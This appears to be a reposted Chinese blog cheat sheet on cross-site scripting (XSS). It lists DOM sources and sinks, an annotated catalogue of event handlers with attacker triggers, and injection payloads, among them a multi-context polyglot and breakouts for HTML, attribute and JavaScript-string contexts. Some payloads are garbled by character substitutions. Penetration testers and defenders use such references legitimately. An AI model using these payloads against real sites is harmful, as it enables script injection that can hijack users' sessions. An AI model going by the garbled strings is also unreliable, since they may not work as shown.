博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
非常棒的xss
阅读量:5943 次
发布时间:2019-06-19

本文共 4040 字,大约阅读时间需要 13 分钟。

拓展&演示

工具

漏洞产生来源: 可由外部(不受信任)来控制的输入。

document.URLdocument.documentURIdocument.URLUnencoded (IE 5.5 or later Only)document.baseURIlocationlocation.hreflocation.searchlocation.hashlocation.pathnamedocument.cookiedocument.referrerwindow.namehistory.pushState()history.replaceState()localStoragesessionStorage

Sink:可能导致漏洞的潜在危险方法。

evalFunctionsetTimeoutsetIntervalsetImmediateexecScriptcrypto.generateCRMFRequestScriptElement.srcScriptElement.textScriptElement.textContentScriptElement.innerTextanyTag.onEventNamedocument.writedocument.writelnanyElement.innerHTMLRange.createContextualFragmentwindow.locationdocument.location

有效负载

<"/οnclick="1>[confirm``]"<">z
z
(_=prompt,_(1)) "">

不错的Polyglots,可以突破20多个上下文:

%0ajavascript:`/*\"/*--><svg οnlοad='/*`

标签&事件处理

  • 105个JavaScript事件处理程序

    •   
      FSCommand(嵌入的Flash对象内被执行时,攻击者可以使用这个) onAbort(当用户中止图像的加载) onActivate(当对象被设置为有源元件) onAfterPrint(用户打印或预览打印作业后,激活) onAfterUpdate(更新源对象中的数据之后激活数据对象) onBeforeActivate(在对象设置为活动元素之前触发) onBeforeCopy(攻击者在选择复制到剪贴板之前执行攻击字符串 - 攻击者可以使用execCommand执行此操作( “复制”)功能) onBeforeCut(攻击者在切换选择之前执行攻击字符串) onBeforeDeactivate(在当前对象更改activeElement之后立即触发) onBeforeEditFocus(在可编辑元素中包含的对象进入UI激活状态或可编辑容器对象之前触发是选择控制) onBeforePaste(用户需要被欺骗粘贴或使用execCommand(“粘贴”)功能强制进入它) onBeforePrint(用户需要被欺骗打印或攻击者可以使用print或execCommand(“打印”) )功能)。 onBeforeUnload(用户需要被欺骗关闭浏览器 - 攻击者无法卸载Windows,除非它是从父级生成的) onBeforeUpdate(在更新源对象中的数据之前激活数据对象) onBegin(onbegin事件在元素的时间轴开始时立即触发) onBlur(在加载另一个弹出窗口且窗口失去焦点的情况下) onBounce(当行为属性为将marquee对象设置为“alternate”并且选取框的内容到达窗口的一侧) onCellChange(在数据提供程序中数据更改时触发) onChange(select,text或TEXTAREA字段失去焦点并且其值已被修改) ) onClick(有人点击表格) onContextMenu(用户需要右键点击攻击区域) onControlSelect(当用户即将对对象进行控件选择时触发) onCopy(用户需要复制某些东西或者可以使用execCommand(“复制”)命令进行攻击) onCut(用户需要复制某些内容或者它可以是使用execCommand(“Cut”)命令 onDataAvailable(用户需要更改元素中的数据,或者攻击者可以执行相同的功能) onDataSetChanged(当数据源对象公开的数据集发生更改时触发) onDataSetComplete(触发到指示所有数据都可从数据源对象中获取 onDblClick(用户双击表单元素或链接) onDeactivate(当activeElement从当前对象更改为父文档中的另一个对象时触发) onDrag(要求用户拖动对象) onDragEnd(要求用户拖动对象)onDragLeave(要求用户将对象拖出一个对象) 有效位置) onDragEnter(要求用户将对象拖动到有效位置) onDragOver(要求用户将对象拖动到有效位置) onDragDrop(用户将对象(例如文件)拖放到浏览器窗口上) onDragStart(发生在用户开始拖动操作) onDrop(用户将对象(例如文件)放到浏览器窗口上) onEnd(当时间轴结束onEnd事件触发。 onerror的一个文件,(装载或图像导致错误) onErrorUpdate时,同时更新在数据源对象关联的数据中出现错误绑定对象上(火灾) onFilterChange(火灾时,视觉过滤器完成状态的改变) onFinish(攻击者可以创建在选取框完成循环利用漏洞) 的onfocus(攻击者执行时的窗口得到集中攻击的字符串) onFocusIn(攻击者执行时窗口获得焦点)攻击字符串 onfocusout在(攻击者执行攻击字符串当窗口失去焦点时) onHashChange(当文档的当前地址的片段标识符部分发生更改时触发) onHelp(攻击者在窗口聚焦时用户点击F1时执行攻击字符串) onInput(元素的文本内容通过用户界面更改) onKeyDown(用户)压下一个键 onKeyPress(用户按下或按住一个键) onKeyUp(用户释放一个键) onLayoutComplete(用户必须打印或打印预览) onLoad(攻击者在窗口加载后执行攻击字符串) onLoseCapture(可以被releaseCapture方法) onMediaComplete(当使用流媒体文件时,此事件可能在文件开始播放之前触发) onMediaError(用户在浏览器中打开包含媒体文件的页面,并在出现问题时触发事件)onMessage(文件触发时) 收到消息) onMouseDown(攻击者需要让用户点击图像) onMouseEnter(光标移动到对象或区域上) onMouseLeave(攻击者需要让用户将鼠标悬停在图像或表格上然后关闭再次) onMouseMove(攻击者需要让用户将鼠标悬停在图像或表格上) onMouseOut(攻击者需要让用户将鼠标悬停在图像或表上然后再关闭) onMouseOver(光标移动到对象或区域上) onMouseUp(攻击者需要让用户点击图像) onMouseWheel(攻击者需要让用户使用他们的鼠标滚轮 onMove(用户或攻击者会移动页面) onMoveEnd(用户或攻击者会移动页面) onMoveStart(用户或攻击者会移动页面) onOffline(如果浏览器是在线模式下工作并开始离线工作) onOnline(如果浏览器在离线模式下工作并且它开始在线工作,则会发生) onOutOfSync(中断元素播放其时间轴定义的媒体的能力) onPaste(用户需要粘贴或攻击者可以使用execCommand(“粘贴”)函数) onPause(onpause事件触发每个活动的元素,当online(包括body元素) onPopState(当用户导航会话历史时触发) onProgress(攻击者会将此作为flash影片加载) onPropertyChange(用户或攻击者需要更改元素属性) onReadyStateChange(用户或攻击者会需要更改元素属性) onRedo(用户在撤消事务历史记录中前进) onRepeat(事件每次重复时间线触发一次,不包括第一个完整周期) onReset(用户或攻击者重置表单) onResize(用户可以调整窗口大小;攻击者可以自动初始化类似:
      View Code

将使用的标签

imgsvgbodyhtmlembedscriptobjectdetailsisindexiframeaudiovideo

非常棒的

HTML 

Case: <tag>You searched for $input. </tag>

Attribute

Case: <tag attribute="$input">

">
">

JavaScript 

Case: <script> var new something = '$input'; </script>

'-alert()-''-alert()//''}alert(1);{
''}%0Aalert(1);%0A{
'

转载于:https://www.cnblogs.com/youyouii/p/10085074.html

你可能感兴趣的文章
dba学习
查看>>
asterisk配置
查看>>
GA操作步骤和技巧(二)——用户行为分析
查看>>
shell中while循环里使用ssh的注意事项
查看>>
SHELL获取计算机外网ip的几种写法
查看>>
博客正在搬迁中
查看>>
触发器与存储过程的区别
查看>>
我的友情链接
查看>>
centos搭建supervisor
查看>>
linux日志分割
查看>>
Samba再报安全漏洞
查看>>
我的友情链接
查看>>
我的友情链接
查看>>
Spring学习资料之 依赖注入(一)
查看>>
安装win7提示安装程序无法创建新的系统分区和定位现有系统分区
查看>>
快递查询接口的调用与解析案例
查看>>
我的友情链接
查看>>
服务器性能优化配置建议
查看>>
oracle sql语句实现累加、累减、累乘、累除
查看>>
SCNetworkReachabilityRef监测网络状态
查看>>